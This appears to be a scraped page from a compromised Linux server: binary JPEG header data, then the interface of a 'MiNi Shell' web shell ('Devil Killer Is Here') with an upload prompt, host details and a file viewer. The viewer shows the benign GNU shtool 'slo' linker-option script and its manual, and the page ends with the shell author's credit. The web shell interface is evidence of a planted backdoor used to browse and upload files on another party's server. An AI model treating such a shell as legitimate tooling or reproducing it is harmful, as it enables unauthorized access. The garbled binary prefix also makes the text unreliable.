JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /usr/share/shtool/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //usr/share/shtool/sh.slo

##
##  slo -- Separate linker options by library class
##  Copyright (c) 1998-2008 Ralf S. Engelschall <rse@engelschall.com>
##
##  This file is part of shtool and free software; you can redistribute
##  it and/or modify it under the terms of the GNU General Public
##  License as published by the Free Software Foundation; either version
##  2 of the License, or (at your option) any later version.
##
##  This file is distributed in the hope that it will be useful,
##  but WITHOUT ANY WARRANTY; without even the implied warranty of
##  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
##  General Public License for more details.
##
##  You should have received a copy of the GNU General Public License
##  along with this program; if not, write to the Free Software
##  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
##  USA, or contact Ralf S. Engelschall <rse@engelschall.com>.
##

str_tool="slo"
str_usage="[-p|--prefix <str>] -- -L<dir> -l<lib> [-L<dir> -l<lib> ...]"
arg_spec="1+"
opt_spec="p:"
opt_alias="p:prefix"
opt_p="SLO_"

. ./sh.common

DIFS="$IFS"

#   parse out -L and -l options from command line
DIRS=''
LIBS=''
ARGV=''
optprev=''
for opt
do
    #   concatenate with previous option if exists
    if [ ".$optprev" != . ]; then
        opt="${optprev}${opt}";
        optprev=''
    fi
    #   remember options for arg if used stand-alone
    if [ ".$opt" = ".-L" ] || [ ".$opt" = ".-l" ]; then
        optprev="$opt"
        continue;
    fi
    #   split argument into option plus option argument
    arg="`echo $opt | cut -c3-`"
    opt="`echo $opt | cut -c1-2`"
    #   store into containers
    case $opt in
        -L) DIRS="$DIRS:$arg" ;;
        -l) LIBS="$LIBS:$arg" ;;
         *) ARGV="$ARGV $opt" ;;
    esac
done

#   set linker default directories
DIRS_DEFAULT='/lib:/usr/lib'
if [ ".$LD_LIBRARY_PATH" != . ]; then
    DIRS_DEFAULT="$DIRS_DEFAULT:$LD_LIBRARY_PATH"
fi

#   sort options by class
DIRS_OBJ=''
LIBS_OBJ=''
DIRS_PIC=''
LIBS_PIC=''
DIRS_DSO=''
LIBS_DSO=''

#    for each library...
OIFS="$IFS"; IFS=':'
for lib in $LIBS; do
    [ ".$lib" = . ] && continue

    found='no'
    found_indefdir='no'
    found_type=''
    found_dir=''

    #    for each directory...
    OIFS2="$IFS"; IFS=":$DIFS"
    for dir in ${DIRS} switch-to-defdirs ${DIRS_DEFAULT}; do
        [ ".$dir" = . ] && continue
        [ ".$dir" = .switch-to-defdirs ] && found_indefdir=yes
        [ ! -d $dir ] && continue

        #    search the file
        OIFS3="$IFS"; IFS="$DIFS"
        for file in '' `cd $dir && env -i /bin/ls lib${lib}.* 2>/dev/null`; do
             [ ".$file" = . ] && continue
             case $file in
                 *.so|*.so.[0-9]*|*.sl|*.sl.[0-9]* )
                      found=yes;
                      found_type=DSO;
                      break
                      ;;
                 *.lo|*.la )
                      found=yes;
                      found_type=PIC
                      ;;
                 *.a )
                      if [ ".$found_type" = . ]; then
                          found=yes
                          found_type=OBJ
                      fi
                      ;;
             esac
        done
        IFS="$OIFS3"
        if [ ".$found" = .yes ]; then
            found_dir="$dir"
            break
        fi
    done
    IFS="$OIFS2"

    if [ ".$found" = .yes ]; then
        if [ ".$found_indefdir" != .yes ]; then
            eval "dirlist=\"\${DIRS_${found_type}}:\""
            case "$dirlist" in
                *:$found_dir:* ) ;;
                * ) eval "DIRS_${found_type}=\"\$DIRS_${found_type}:${found_dir}\"" ;;
            esac
            eval "LIBS_${found_type}=\"\$LIBS_${found_type}:$lib\""
        else
            eval "LIBS_${found_type}=\"\$LIBS_${found_type}:$lib\""
        fi
    else
        LIBS_OBJ="$LIBS_OBJ:$lib"
        #dirlist="`echo $DIRS $DIRS_DEFAULT | sed -e 's/:/ /g'`"
        #echo "slo:Warning: library \"$lib\" not found in any of the following dirs:" 2>&1
        #echo "slo:Warning: $dirlist" 1>&1
    fi
done
IFS="$OIFS"

#   also pass-through unused dirs even if it's useless
OIFS="$IFS"; IFS=':'
for dir in $DIRS; do
    dirlist="${DIRS_OBJ}:${DIRS_PIC}:${DIRS_DSO}:"
    case "$dirlist" in
        *:$dir:* ) ;;
        * ) DIRS_OBJ="$DIRS_OBJ:$dir" ;;
    esac
done
IFS="$OIFS"

#   reassemble the options but separated by type
for type in OBJ PIC DSO; do
    OIFS="$IFS"; IFS=':'
    eval "libs=\"\$LIBS_${type}\""
    opts=''
    for lib in $libs; do
        [ ".$lib" = . ] && continue
        opts="$opts -l$lib"
    done
    eval "LIBS_${type}=\"$opts\""

    eval "dirs=\"\$DIRS_${type}\""
    opts=''
    for dir in $dirs; do
        [ ".$dir" = . ] && continue
        opts="$opts -L$dir"
    done
    eval "DIRS_${type}=\"$opts\""
    IFS="$OIFS"
done

#   give back results
for var in ARGV DIRS_OBJ LIBS_OBJ DIRS_PIC LIBS_PIC DIRS_DSO LIBS_DSO; do
    eval "val=\"\$${var}\""
    val="`echo $val | sed -e 's/^ *//'`"
    echo "${opt_p}${var}=\"${val}\""
done

shtool_exit 0

##
##  manual page
##

=pod

=head1 NAME

B<shtool-slo> - B<GNU shtool> separate linker options by library class

=head1 SYNOPSIS

B<shtool slo>
[B<-p>|B<--prefix> I<str>]
--
B<-L>I<dir>
B<-l>I<lib>
[B<-L>I<dir> B<-l>I<lib> ...]

=head1 DESCRIPTION

This command separates the linker options ``B<-L>'' and ``B<-l>'' by library
class. It's argument line can actually be an arbitrary command line where those
options are contained. B<slo> parses these two options only and ignores the
remaining contents. The result is a trivial shell script on C<stdout> which
defines six variables containing the ``B<-L>'' and ``B<-l>'' options sorted by
class:

``C<SLO_DIRS_OBJ>'' and ``C<SLO_LIBS_OBJ>'' contains the ``B<-L>'' and
``B<-l>'' options of static libraries,  ``C<SLO_DIRS_PIC>'' and
``C<SLO_LIBS_PIC>'' contains the ``B<-L>'' and ``B<-l>'' options of static
libraries containing PIC ("Position Independent Code") and
``C<SLO_DIRS_DSO>'' and ``C<SLO_LIBS_DSO>'' contains the ``B<-L>'' and
``B<-l>'' options of shared libraries. The B<-p> option can be used to
change the default variable prefix from "C<SLO_>" to I<str>.

The intent of this separation is to provide a way between static and shared
libraries which is important if one wants to link custom DSOs against
libraries, because not all platforms all one to link these DSOs against shared
libraries. So one first has to separate out the shared libraries and link the
DSO only against the static libraries.  One can use this command also to just
sort the options.

=head1 OPTIONS

The following command line options are available.

=over 4

=item B<-p>, B<--prefix> I<str>

    FIXME

=item B<-L>I<dir>

Directory where libraries are searched in.

=item B<-l>I<lib>

Library to search for.

=back

=head1 EXAMPLE

 #   configure.in
 LINK_STD="$LDFLAGS $LIBS"
 eval `shtool slo $LINK_STD`
 LINK_DSO="$SLO_DIRS_OBJ $SLO_LIBS_OBJ $SLO_DIRS_PIC $SLO_LIBS_PIC"
   :

=head1 HISTORY

The B<GNU shtool> B<slo> command was originally written by Ralf S.
Engelschall E<lt>rse@engelschall.comE<gt> in 1998 for B<Apache>.
It was later taken over into B<GNU shtool>.

=head1 SEE ALSO

shtool(1), ld(1).

=cut


Creat By MiNi SheLL
Email: jattceo@gmail.com